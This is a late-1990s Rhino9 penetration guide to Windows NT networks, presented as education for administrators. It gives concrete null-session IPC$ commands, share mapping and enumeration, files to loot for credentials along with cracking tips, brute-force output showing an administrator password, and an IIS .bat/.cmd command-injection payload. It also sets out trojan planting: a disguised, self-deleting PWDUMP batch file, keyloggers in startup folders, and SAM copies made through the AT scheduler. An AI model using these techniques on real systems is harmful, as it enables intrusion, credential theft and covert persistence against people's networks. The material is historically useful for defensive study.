===================================================================
THE WINDOWS NT WARDOC: A STUDY IN REMOTE NT PENETRATION
BY NEONSURGE AND THE RHINO9 TEAM
===================================================================
===================================================================
INTRODUCTION:
===================================================================
This document is an attempt by the Rhino9 team to document the methodology and techniques
used in an attack on a NT based network. The intent of this document is to educate
administrators and security professionals of both the mindset of an attacker and a large
set of the current NT penetration techniques. This document attempts to follow in the
footsteps of the classic text, "How To Improve The Security Of Your Site by Breaking
Into It" by Dan Farmer and Wietse Venema.
Obviously, this text will not contain all known methods for NT network penetration. We
have tried to put together a text that Administrators can use to learn basic penetration
techniques to test the vulnerability of their own networks. If the concepts and techniques
presented in this text are absorbed and understood, an Administrator should have a strong
base knowledge of how penetrations occur and should be able to build upon that knowledge
to further protect their network.
This file is not meant for people that are new to security or NT or networking
technologies. The authors assume that people reading this document have a certain
understanding of protocols, server technologies and network architectures.
The authors would like to continue expanding on this document and releasing updated
versions of it. We call upon all those that wish to contribute techniques to send detailed
information on your own penetration testing methods. We would like to release updates to
this document to keep it a current and solid resource. Send your techniques or submissions
to: neonsurge@hotmail.com. Valid and useful submissions will be incorporated in to the
document with proper credit given to the author.
===================================================================
USAGE
===================================================================
The text is being written in a procedural manner. We have approached it much like an
intruder would actually approach a network penetration. Most of the techniques discussed
in this text are rather easy to accomplish once one understands how and why something is
being done.
The document is divided into 3 sections: NetBIOS, WebServer, and Miscellaneous, each of
which explain different methods of information gathering and penetration techniques.
===================================================================
INFORMATION GATHERING AND PENETRATION VIA NETBIOS
===================================================================
The initial step an intruder would take is to portscan the target machine or network. It's
surprising how methodical an attack can become based on the open ports of a target
machine. You should understand that it is the norm for an NT machine to display different
open ports than a Unix machine. Intruders learn to view a portscan and tell wether it is
an NT or Unix machine with fairly accurate results. Obviously there are some exceptions to
this, but generally it can be done. Recently, several tools have been released to
fingerprint a machine remotely, but this functionality has not been made available for NT.
When attacking an NT based network, NetBIOS tends to take the brunt of an attack. For this
reason, NetBIOS will be the first serious topic of discussion in this paper.
Information gathering with NetBIOS can be a fairly easy thing to accomplish, albeit a bit
time consuming. NetBIOS is generally considered a bulky protocol with high overhead and
tends to be slow, which is where the consumption of time comes in.
If the portscan reports that port 139 is open on the target machine, a natural process
follows. The first step is to issue an NBTSTAT command.
The NBTSTAT command can be used to query network machines concerning NetBIOS information.
It can also be useful for purging the NetBIOS cache and preloading the LMHOSTS file. This
one command can be extremely useful when performing security audits. Interpretation the
information can reveal more than one might think.
Usage: nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]
Switches -a Lists the remote computer's name table given its host name.
-A Lists the remote computer's name table given its IP address.
-c Lists the remote name cache including the IP addresses.
-n Lists local NetBIOS names.
-r Lists names resolved by broadcast and via WINS.
-R Purges and reloads the remote cache name table.
-S Lists sessions table with the destination IP addresses.
-s Lists sessions table conversions.
The column headings generated by NBTSTAT have the following meanings:
Input
Number of bytes received.
Output
Number of bytes sent.
In/Out
Whether the connection is from the computer (outbound) or from another system to
the local computer (inbound).
Life
The remaining time that a name table cache entry will "live" before your
computer
purges it.
Local Name
The local NetBIOS name given to the connection.
Remote Host
The name or IP address of the remote host.
Type
A name can have one of two types: unique or group.
The last byte of the 16 character NetBIOS name often means something because
the same name can be present multiple times on the same computer. This shows
the last byte of the name converted into hex.
State
Your NetBIOS connections will be shown in one of the following "states":
State Meaning
Accepting An incoming connection is in process.
Associated The endpoint for a connection has been created and your computer has associated
it with an IP address.
Connected This is a good state! It means you're connected to the remote resource.
Connecting Your session is trying to resolve the name-to-IP address mapping of the
destination resource.
Disconnected Your computer requested a disconnect, and it is waiting for the remote
computer to do so.
Disconnecting Your connection is ending.
Idle The remote computer has been opened in the current session, but is currently not
accepting connections.
Inbound An inbound session is trying to connect.
Listening The remote computer is available.
Outbound Your session is creating the TCP connection.
Reconnecting If your connection failed on the first attempt, it will display this state as
it tries to reconnect.
Here is a sample NBTSTAT response of an actual machine:
C:\>nbtstat -A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
Using the table below, what can you learn about the machine?
Name Number Type Usage
=========================================================================
<computername> 00 U Workstation Service
<computername> 01 U Messenger Service
<\\_MSBROWSE_> 01 G Master Browser
<computername> 03 U Messenger Service
<computername> 06 U RAS Server Service
<computername> 1F U NetDDE Service
<computername> 20 U File Server Service
<computername> 21 U RAS Client Service
<computername> 22 U Exchange Interchange
<computername> 23 U Exchange Store
<computername> 24 U Exchange Directory
<computername> 30 U Modem Sharing Server Service
<computername> 31 U Modem Sharing Client Service
<computername> 43 U SMS Client Remote Control
<computername> 44 U SMS Admin Remote Control Tool
<computername> 45 U SMS Client Remote Chat
<computername> 46 U SMS Client Remote Transfer
<computername> 4C U DEC Pathworks TCPIP Service
<computername> 52 U DEC Pathworks TCPIP Service
<computername> 87 U Exchange MTA
<computername> 6A U Exchange IMC
<computername> BE U Network Monitor Agent
<computername> BF U Network Monitor Apps
<username> 03 U Messenger Service
<domain> 00 G Domain Name
<domain> 1B U Domain Master Browser
<domain> 1C G Domain Controllers
<domain> 1D U Master Browser
<domain> 1E G Browser Service Elections
<INet~Services> 1C G Internet Information Server
<IS~Computer_name> 00 U Internet Information Server
<computername> [2B] U Lotus Notes Server
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan Gateway Service
Unique (U): The name may have only one IP address assigned to it. On a network device,
multiple occurences of a single name may appear to be registered, but the suffix will be
unique, making the entire name unique.
Group (G): A normal group; the single name may exist with many IP addresses.
Multihomed (M): The name is unique, but due to multiple network interfaces on the same
computer, this configuration is necessary to permit the registration. Maximum number of
addresses is 25.
Internet Group (I): This is a special configuration of the group name used to manage WinNT
domain names.
Domain Name (D): New in NT 4.0.
An intruder could use the table above and the output from an nbtstat against your machines
to begin gathering information about them. With this information an intruder can tell, to
an extent, what services are running on the target machine and sometimes what software
packages have been installed. Traditionally, every service or major software package comes
with it's share of vulnerabilities, so this type of information is certainly useful to an
intruder.
The next logical step would be to glean possible usernames from the remote machine. A
network login consists of two parts, a username and a password. Once an intruder has what
he knows to be a valid list of usernames, he has half of several valid logins. Now, using
the nbtstat command, the intruder can get the login name of anyone logged on locally at
that machine. In the results from the nbtstat command, entries with the <03>
identifier are usernames or computernames. Gleaning usernames can also be accomplished
through a null IPC session and the SID tools (For more information about the SID tools,
read appendix B).
The IPC$ (Inter-Process Communication) share is a standard hidden share on an NT machine
which is mainly used for server to server communication. NT machines were designed to
connect to each other and obtain different types of necessary information through this
share. As with many design features in any operating system, intruders have learned to use
this feature for their own purposes. By connecting to this share an intruder has, for all
technical purposes, a valid connection to your server. By connecting to this share as
null, the intruder has been able to establish this connection without providing it with
credentials.
To connect to the IPC$ share as null, an intruder would issue the following command from a
command prompt:
c:\>net use \\[ip address of target machine]\ipc$ "" /user:""
If the connection is successful, the intruder could do a number of things other than
gleaning a user list, but lets start with that first. As mentioned earlier, this technique
requires a null IPC session and the SID tools. Written by Evgenii Rudnyi, the SID tools
come in two different parts, User2sid and Sid2user. User2sid will take an account name or
group and give you the corresponding SID. Sid2user will take a SID and give you the name
of the corresponding user or group. As a stand alone tool, this process is manual and very
time consuming. Userlist.pl is a perl script written by Mnemonix that will automate this
process of SID grinding, which drastically cuts down on the time it would take an intruder
to glean this information.
At this point, the intruder knows what services are running on the remote machine, which
major software packages have been installed (within limits), and has a list of valid
usernames and groups for that machine. Although this may seem like a ton of information
for an outsider to have about your network, the null IPC session has opened other venues
for information gathering. The Rhino9 team has been able to retrieve the entire native
security policy for the remote machine. Such things as account lockout, minimum password
length, password age cycling, password uniqueness settings as well as every user, the
groups they belong to and the individual domain restrictions for that user - all through a
null IPC session. This information gathering ability will appear in Rhino9's soon to be
released Leviathan tool. Some of the tools available now that can be used to gather more
information via the IPC null session will be discussed below.
With the null IPC session, an intruder could also obtain a list of network shares that may
not otherwise be obtainable. For obvious reasons, an intruder would like to know what
network shares you have available on your machines. For this information gathering, the
standard net view command is used, as follows:
c:\>net view \\[ip address of remote machine]
Depending on the security policy of the target machine, this list may or may not be
denied. Take the example below (ip address has been left out for obvious reasons):
C:\>net view \\0.0.0.0
System error 5 has occurred.
Access is denied.
C:\>net use \\0.0.0.0\ipc$ "" /user:""
The command completed successfully.
C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0
Share name Type Used as Comment
-------------------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
As you can see, the list of shares on that server was not available until after the IPC
null session had been established. At this point you may begin to realize just how
dangerous this IPC connection can be, but the IPC techniques that are known to us now are
actually very basic. The possibilities that are presented with the IPC share are just
beginning to be explored.
The release of the WindowsNT 4.0 Resource Kit made a new set of tools available to both
administrator and intruder alike. Below is a description of some of the Resource Kit
Utilities that the Rhino9 team has used in conjunction with the IPC$ null session to
gather information. When reading these tool descriptions and the information they provide,
keep in mind that the null session that is used does NOT provide the remote network with
any real credentials.
UsrStat: This command-line utility displays the username, full name, and last logon date
and time for each user in a given Domain. Below is an actual cut and paste of this tool
used through a null IPC session against a remote network:
C:\NTRESKIT>usrstat domain4
Users at \\STUDENT4
Administrator - - logon: Tue Nov 17 08:15:25 1998
Guest - - logon: Mon Nov 16 12:54:04 1998
IUSR_STUDENT4 - Internet Guest Account - logon: Mon Nov 16 15:19:26 1998
IWAM_STUDENT4 - Web Application Manager account - logon: Never
laurel - - logon: Never
megan - - logon: Never
In order to fully understand what is happening in the capture, lets discuss it. Before the
actual attack took place, a mapping was put into the lmhosts file that reflected the
Student4 machine and it's Domain activity status using the #PRE/#DOM tags (explained in
more detail below.). The entry was then preloaded into the NetBIOS cache, and a null IPC
session was established. As you can see, the command is issued against the Domain name.
The tool will then query the Primary Domain Controller for that Domain.
Global: This command-line utility displays the members of global groups on remote servers
or domains. As discussed above, this utility is used in conjunction with an Lmhosts/IPC
mapping. Shown below is an actual capture of the global tool. In the example, the
"Domain Users" is a standard, default global group present in a WindowsNT
domain. For this example, we have used the tool to query Domain1 for a listing of all
users in the "Domain Users" group.
C:\>global "Domain Users" domain1
Bob
SPUPPY$
BILLY BOB$
Bill
IUSR_BILLY BOB
IWAM_BILLY BOB
IUSR_SPUPPY
IWAM_SPUPPY
Local: The Local tool works just as the Global tool does, except it queries the machine
for the members of a local group instead of a global group. Below is an example of the
Local tool querying a server for a list of its Administrators group.
C:\>local "administrators" domain1
Bob
Domain Admins
Bill
NetDom: NetDom is a tool that will query a server for its role in a domain, as well as
querying the machine for its PDC. The NetDom tool also works with an Lmhosts/IPC mapping.
Below is a capture of the tool and its standard output:
Querying domain information on computer \\SPUPPY ...
The computer \\SPUPPY is a domain controller of DOMAIN4.
Searching PDC for domain DOMAIN4 ...
Found PDC \\SPUPPY
The computer \\SPUPPY is the PDC of DOMAIN4.
NetWatch: NetWatch is a tool that will give the person invoking the tool a list of the
shares on a remote machine. Again, this tool works with an Lmhosts/IPC mapping. The bad
thing about this tool is that the Rhino9 team was able to use the tool to retrieve a list
of the hidden shares on the remote machine.
Other known penetration techniques that involve the IPC share include opening the registry
of the remote machine, as well as a remote User Manager for Domains technique. The IPC
null connection could allow an intruder to potentially gain access to your registry. Once
the null IPC session has been established, the intruder would launch his local regedit
utility and attempt the Connect Network Registry option. If this is succesful, the
intruder would have read access to certain regsitry keys, and potentially read/write.
Regardless, even read access to the registry is undesirable from a security standpoint.
An intruder could also attempt the IPC User Manager for Domains technique. This technique
is relatively unknown and often times produces no results. We are covering it because it
can produce results and it can be an effective intrusion technique. This technique
involves a null IPC session and entries into the LMHOSTS file. The LMHOSTS file is
(normally) a local file kept on windows based machines to map NetBIOS names to IP
addresses. Used mostly in non-WINS environments, or on clients unable to use WINS, the
LMHOSTS file can actually be used in many different ways by an intruder. Different uses
for the LMHOSTS file will be discussed later in this text, for now we will discuss how the
LMHOSTS file is used in this technique.
This is an excellent technique to discuss because it shows how one of the previous
techniques is used in conjunction with this one to accomplish a goal. Beginning with a
portscan, and assuming that port 139 is open, the attacker would issue an nbtstat command.
The intruder would then glean the NetBIOS name of the remote machine from the nbtstat
results. Lets look at the same sample nbtstat results from above:
C:\>nbtstat -A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
By examining the results of the nbtstat command, we are looking for the <03>
identifier. If someone is logged on locally on the machine, you will see two <03>
identifiers. Normally the first <03> listed is the netbios name of the machine and
the second <03> identifier listed is the name of the locally logged on user. At this
point the intruder would put the netbios name and ip address mapping of the machine into
his local LMHOSTS file, ending the entry with the #PRE and #DOM tags. The #PRE tag denotes
that the entry should be preloaded into the netbios cache. The #DOM tag denotes domain
activity. At this point the intruder would issue a nbtstat -R command to preload the entry
into his cache. Technically, this preloading would make the entry appear as if it had been
resolved by some previous network function and allow the name to be resolved much quicker.
Next the intruder would establish a null IPC session. Once the null IPC session has been
succesfully established, the intruder would launch his local copy of User Manager for
Domains and use the Select Domain function in User Manager. The Domain of the remote
machine will appear (or can manually be typed in) because it has been pre-loaded into the
cache. If the security of the remote machine is lax, User Manager will display a list of
all the users on the remote machine. If this is being done over a slow link (i.e. 28.8
modem) it will normally not work. On faster network connections however, this tends to
produce results.
Now that the intruder has gathered information about your machine, the next step would be
to actually attempt a penetration of that machine. The first penetration technique to be
discussed will be the open file share attack. The intruder would couple the previously
discussed net view command with a net use command to accomplish this attack.
Taking the net view from above, lets discuss the attack.
C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0
Share name Type Used as Comment
-------------------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
Once the attacker has a list of the remote shares, he could then attempt to map to a
remote share. An example of the command structure for the attack would be:
c:\>net use x: \\0.0.0.0\inetpub
This attack will only work if the share is unpassworded or shared out to the everyone
group (NOTE: The Everyone group means Everyone. If someone connects as a null user, they
are now part of the everyone group.). If those parameters are in place, the attacker would
be able to map a network drive to your machine and begin what could amount to a severe
series of penetration attacks. Keep in mind that the intruder is not limited to mapping
drives to the shares displayed by the net view command. An intruder that knows NT or has
done his homework knows that NT has hidden administrative shares. By default, NT creates
the IPC$ share and one hidden share for every drive on the machine (i.e. a machine that
has C, D, and E drives would have corresponding hidden shares of C$, D$, and E$). There is
also a hidden ADMIN$ share that maps directly to the installation path of NT itself (i.e.
If you installed NT on C:\winnt, than ADMIN$ maps to that exact portion of that drive).
One thing that the Rhino9 team has noticed about the majority of the NT security community
is that they seem to be oblivious to the concept of penetrating one internal NT machine
from another internal NT machine. The Rhino9 team, during our professional audits, has
accomplished this task many times. Chances are, if the intruder is good and can gain
access to one of your machines, he will worm his way into the rest of your network. For
that reason, these share attacks can pose a serious threat.
(As a side note, the Rhino9 team was once contacted to perform a remote penetration audit
for one of the largest ISP's in Florida. We gained access to a share on one of the
technician's personal machines, and from there gained access to the entire network. It can
be done.)
At first, someone may not be able to see the dangers of someone having access to your hard
drive. Access to the hard drive opens up new avenues for Information Gathering and
Trojan/Virus planting. An attacker would normally look for something that could possibly
contain a password or highly sensitive data that he could use to continue digging his way
into your network. Some of the files that a intruder will look for and use are listed
below, each with a brief description of what it is, and how it would be used.
Eudora.ini: This file is used to store configuration information for eudora e-mail
software. An easily obtainable tool called eudpass.com will extract the individuals
username and password information as well as all the information that the attacker needs
to begin eavesdropping on the users mail. At this point, the intruder could configure his
own e-mail software to read the targets mail. Again, some could have a hard time seeing
the dangers in this, but remember that generally, people are creatures of habit. The
chances that the user's e-mail password is the same password they use to log into the
network at work are relatively high. Now all the attacker needs to do is keep snooping
around on the users hard drive for a resume or some other work related document to point
him in the direction of the persons place of business, allowing him to launch a somewhat
strong initial strike against the network.
Tree.dat: This is the file that is used by the popular software CuteFTP to store the users
ftp site/username/password combinations. Using a program called FireFTP, the attacker can
easily crack the tree.dat file. So, as above, the user could keep gathering information
about you and launch an attack against your place of business. Not to mention that if you
have an ftp mapping in your tree.dat that maps directly to your place of business, his
attack has now become much easier.
PWL: PWL's generally reside on Win95 machines. They are used to store operation specific
passwords for the Windows95 end user. A tool called glide.exe will crack (with less than
desirable efficiency) PWL files. There is also documentation available on how to manually
crack the encryption of these PWL files using a calculator. Continuing the scenario, the
attacker could keep gathering information about the user and formulate an attack.
PWD: PWD files exist on machines running FrontPage or Personal Webserver. These files
include the plain text username and an encrypted password matching the credentials needed
to administer the website. The encryption scheme used for these passwords is the standard
DES scheme. Needless to say, many DES cracking utilities are available on the internet.
John the Ripper by Solar Designer very efficiently cracks these passwords.
WS_FTP.ini: This ini file exists on machines using ws_ftp software. Although an automated
password extractor for this file has just recently been introduced into the security
community, the encryption mechanism used is not very strong. The password is converted to
hex numbers (2 digits). If a digit is at the N position, then N is added to the digit.
Reverse the process and you have cracked this encryption scheme. (This is also known to
sometimes work for cracking PMail.ini - Pegasus Mail and Prefs.js - Netscape.)
IDC Files: IDC (internet database connecter) files are normally used for back-end
connectivity to databases from a webserver. Becuase this type of connection generally
requires authentication, some IDC files contain username/password combinations, often
times in clear text.
waruser.dat: This is one of the config files for WarFTP, the popular Win32 FTP server.
This particular dat file could contain the administrative password for the FTP server
itself. From what the authors have been able to find out, this only occurs in beta
versions of WarFTP 1.70.
$winnt$.inf: During an unattended installation of WindowsNT, the setup process requires
information files. As residue of this unattended installation process, a file called
$winnt$.inf could exist in the %systemroot%\system32 directory. This file could contain
the username and password combination of the account that was used during the
installation. Because the account used in these types of installations normally require
some strong permission sets on the network, this is not a trivial matter.
Sam._: Although people have known for a long time that the SAM database could present a
problem if it fell into the wrong hands, many people forget about the sam._. Many would-be
intruders have asked themselves how they could copy the SAM database if they could mount a
drive across the net. Well, normally this is not possible, because the NT server you are
connected to is running, and while it is running, it locks the SAM. However, if the
administrator has created an emergency repair disk, a copy of the SAM should be located in
the %systemroot%\repair\ directory. This file will be named sam._. This copy, by default
is EVERYONE readable. By using a copy of the samdump utility, you can dump
username/password combinations from the copied SAM.
ExchVerify.log: The ExchVerify.log file is created by Cheyenne/Innoculan/ArcServe.
Normally created by the installation of the Cheyenne/Innoculan/ArcServe software, this
file resides at the root of the drive where the software installation took place. This
file can contain extremely sensitive information, as shown below:
<EXCH-VERIFY>: ExchAuthenticate() called with
NTServerName:[SAMPLESERVER]
NTDomainName[SAMPLESERVER] adminMailbox:[administrator]
adminLoginName:[administrator]
password:[PASSWORD]
Needless to say, the file contains information that an intruder could easily use to
further compromise the integrity of your network.
Profile.tfm: Profile.tfm is a file that is created by the POP3 client software AcornMail.
At the writing of this document, AcornMail began getting alot of attention from the
internet community. Upon inspection of the software, we found that it's an efficient POP3
client, but the installation is not NTFS friendly. After the installation of the software,
we began to check into the files that AcornMail created. We found that the Profile.tfm
file held the username/password combination. At first, we decided the software was
somewhat ok, because it did indeed store the password in an encrypted state. We then
realized that the permissions on the profile.tfm file were set to Everyone/Full Control.
This causes problems because anyone could obtain a copy of the file and plug this file
into their own AcornMail installation. Then intruder coud log on with the stored
information. Below is a capture in Network Monitor of just that.
00000000 00 01 70 4C 67 80 98 ED A1 00 01 01 08 00 45 00 ..pLg.........E.
00000010 00 4A EA A7 40 00 3D 06 14 88 CF 62 C0 53 D1 36 .J..@.=....b.S.6
00000020 DD 91 00 6E 04 44 F6 1E 84 D6 00 32 51 EB 50 18 ...n.D.....2Q.P.
00000030 22 38 64 9E 00 00 2B 4F 4B 20 50 61 73 73 77 6F "8d...+OK.Passwo
00000040 72 64 20 72 65 71 75 69 72 65 64 20 66 6F 72 20 rd.required.for.
00000050 68 6B 69 72 6B 2E 0D 0A jjohn...
00000000 98 ED A1 00 01 01 00 01 70 4C 67 80 08 00 45 00 ........pLg...E.
00000010 00 36 A4 02 40 00 80 06 18 41 D1 36 DD 91 CF 62 .6..@....A.6...b
00000020 C0 53 04 44 00 6E 00 32 51 EB F6 1E 84 F8 50 18 .S.D.n.2Q.....P.
00000030 21 AC 99 90 00 00 50 41 53 53 20 67 68 6F 73 74 !.....PASS.xerox
00000040 37 33 0D 0A 63..
As you can see, the username/password is indeed passed in clear text. This is not a fault
of AcornMail, but something that has been present in the POPvX. This 'data' file
swapping/packet sniffing type of technique has been tested by the Rhino9 team on numerous
software titles, so this attack is not limited to AcornMail.
Now that we have discussed the files an intruder may wish to acquire if he gains access to
your hard drive, lets discuss Trojan planting. If there is one thing that can gain an
attacker a ton of information, it is trojan planting. The open file share attack generally
makes trojan planting extremely easy to do. One of the easiest and most informative
trojans to use is the PWDUMP utility wrapped in a batch file. If prepared correctly, the
batch file will execute minimized (also named something clever, such as viruscan.cmd), run
the PWDUMP utility, delete the PWDUMP utility after it has run its course, and finally
erase itself. This generally leaves little evidence and will create a nice text file of
all of the username/password combinations on that machine.
Rules of the trick: The target must be an NT machine and the end user executing the trojan
must be the administrator, so the attacker drops the batch file into the Administrators
start-up folder and waits. The next time the Administrator logs in to the machine, the
batch file executes and dumps the username/password combinations. Then the attacker
connects back into the machine via file sharing and collects the results.
Another solid attack an intruder might try is to place a keylogger batch into the start-up
folder. This can usually be done to any user, not just the administrator. This will glean
all keystrokes issued by that user, minus initial logon credentials (due to the NT
architecture, which stops all user mode processes during login). The attacker then
connects back to the target machine at a later time and collects the recorded keystrokes.
One of the deadliest trojan attacks issued is a batch file that runs as Administrator and
sets up a scheduled event using the AT command. Because the AT command can execute as
System, it can create copies of the SAM database and the registry. Imagine the fun an
attacker can have with that one.
How does one prevent such attacks? By not sharing items to the everyone group, and by
enforcing strong password schemes in your environment. If an intruder comes across a
server that prompts him for credentials at every turn, chances are the intruder will
become frustrated and leave. Other, more persistant intruders, will continue on with a
Brute Force Attack.
Undoubtedly the most common tool for Brute Force NetBIOS attacks is NAT. The NAT (NetBIOS
Auditing Tool) tool will allow a user to automate network connection commands using a list
of possible usernames and passwords. NAT will attempt to connect to the remote machine
using every username and every password in the lists provided. This can be a lengthy
process, but often times an attacker will use a shortened list of common passwords and
call it quits. An accomplished intruder will construct his list of usernames by using the
information gathering techniques discussed above. The password list the intruder will use
will also be constructed from gleaned information. Starting with a bare bones list of
passwords, and creating the rest based on the usernames. It comes as no surprise to
security professionals to find passwords set to the username.
An attacker can specify an IP addresses to attack or he can specify an entire range of IP
addresses. NAT will diligently work to accomplish the task, all the while generating a
formatted report.
Below is an actual results file of a real NAT attack across the internet. Although
permission was given for the Rhino9 team to perform this attack, the IP address has been
changed to protect the test target.
[*]--- Reading usernames from userlist.txt
[*]--- Reading passwords from passlist.txt
[*]--- Checking host: 0.0.0.0
[*]--- Obtaining list of remote NetBIOS names
[*]--- Attempting to connect with name: *
[*]--- Unable to connect
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Tue Oct 14 11:33:46 1997
[*]--- Timezone is UTC-4.0
[*]--- Remote server wants us to encrypt, telling it not to
[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMINISTRATOR'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `GUEST'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ROOT'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMIN'
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `PASSWORD'
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `PASSWORD'
[*]--- Obtained server information:
Server=[AENEMA] User=[] Workgroup=[STATICA] Domain=[]
[*]--- Obtained listing of shares:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk: Remote Admin
C$ Disk: Default share
D$ Disk: Default share
E$ Disk: Default share
HPLaser4 Printer: HP LaserJet 4Si
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
print$ Disk: Printer Drivers
[*]--- This machine has a browse list:
Server Comment
--------- -------
AENEMA
[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$
[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$
[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- WARNING: Able to access share: \\*SMBSERVER\D$
[*]--- Checking write access in: \\*SMBSERVER\D$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\D$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\D$
[*]--- Attempting to access share: \\*SMBSERVER\E$
[*]--- WARNING: Able to access share: \\*SMBSERVER\E$
[*]--- Checking write access in: \\*SMBSERVER\E$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\E$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\E$
[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON
[*]--- Attempting to access share: \\*SMBSERVER\print$
[*]--- WARNING: Able to access share: \\*SMBSERVER\print$
[*]--- Checking write access in: \\*SMBSERVER\print$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\print$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\print$
[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access
[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access
If you look closely at the results, you can clearly see the CONNECTED message which
informs the attacker that the tool found a valid Username/Password combination. At this
point, the intruder would just manually re-connect to that machine using the newly found
username/password combination and launch his attack.
This is the end of the remote penetration via NetBIOS section. Keep in mind that the
techniques discussed above are neither static nor stand-alone. An intruder who has spent
time learning how to penetrate NT based networks will become extremely creative and use
not only the techniques above, but personal variations of those techniques.
===================================================================
INFORMATION GATHERING AND PENETRATION VIA WEBSERVER
===================================================================
Information gathering and remote penetration via a webserver is well known today due to
the population explosion on the internet and the resulting dissemenation of information.
When discussing remote penetration and information gathering on NT Webservers, we will
focus on Internet Information Server, the webserver that comes bundled with NT4.
Some of the information to be discussed will be somewhat outdated. We have included it due
to the fact that during professional audits, the Rhino9 Team has come across companies
that are still running older versions of software titles in their production environments.
Lets begin by discussing information gathering techniques. We will discuss ways of getting
information about the webserver under attack, as well as using the webserver to get
information that could be used in other types of attacks.
First we will discuss how one would retrieve the webserver software package and version on
the target machine. Someone that is new to the security community might wonder why one
would want the webserver version of the target machine. Every different version and
distribution of software has different vulnerabilities attached to them. For this reason,
an intruder would want to know the webserver software and version in question.
The oldest technique used to acquire webserver software and version is to telnet to the
target machine on the HTTP port. Once a telnet connection has been established, issuing a
simple GET command would allow one to view the HTTP header information, which would
include the webserver software and version being used.
One who is not prone to using telnet, or does not wish to parse through the header
information can use a couple of available tools. The first, and probably most popular tool
amongst non-accomplished intruders is Netcraft. An intruder can visit www.netcraft.com and
use their query engine to retrieve the webserver information from the remote target.
Netcraft can also be used retrieve all known webserver hostnames. For example, if we
wanted to find all of the webservers that belong to the someserver.com domain, we could
use Netcraft's engine to query *.someserver.com, and it would return a listing of all of
the webserver hosts in that domain. Other tools that can be used to retrieve webserver
version include 1nf0ze by su1d and Grinder by horizon of Rhino9 (URLs to all tools
discussed in this text can be found at the end of this document).
Once the intruder has determined what webserver package he is up against, he can begin to
formulate an attack plan. By using the techniques discussed below, the intruder could gain
access to the server or gain information from the server to use in other attacks.
Understand that this section is in no way a complete representation of all attacks, just
the more common and well known ones.
The first attack to be covered is the .bat/.cmd flaw. As this flaw was well documented
with its public posting, it will be quoted below (author unknown, if the author is reading
this, let me know so that proper credit can be given):
<Quote>
The .bat and .cmd BUG is a well-known bug in Netscape server and described in the WWW
security FAQ Q59. The implementation of this bug in Internet Information Server beats all
scores.
Let's consider fresh IIS Web server installation where all settings are default:
1) CGI directory is /scripts
2) There are no files abracadabra.bat or abracadabra.cmd in
the /scripts directory.
3) IIS Web server maps .bat and .cmd extensions to cmd.exe.
Therefore registry key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ScriptMap
has the following string:
.bat or .cmd=C:\WINNT35\System32\cmd.exe /c %s %s
In this case a hacker with a malicious intent can send either one of the two command lines
to the server:
a) /scripts/abracadabra.bat?&dir+c:\+?&time
b) /scripts/abracadabra.cmd?&dir+c:\+?&time
and the following happens:
1) Browser asks how you want to save a document. Notepad.exe
or any other viewer would do for this "type" of
application.
2) Browser starts the download session. The download window
appears on the screen.
3) The hacker clicks the "cancel" button on the download
window, because the "time" command on the server never
terminates.
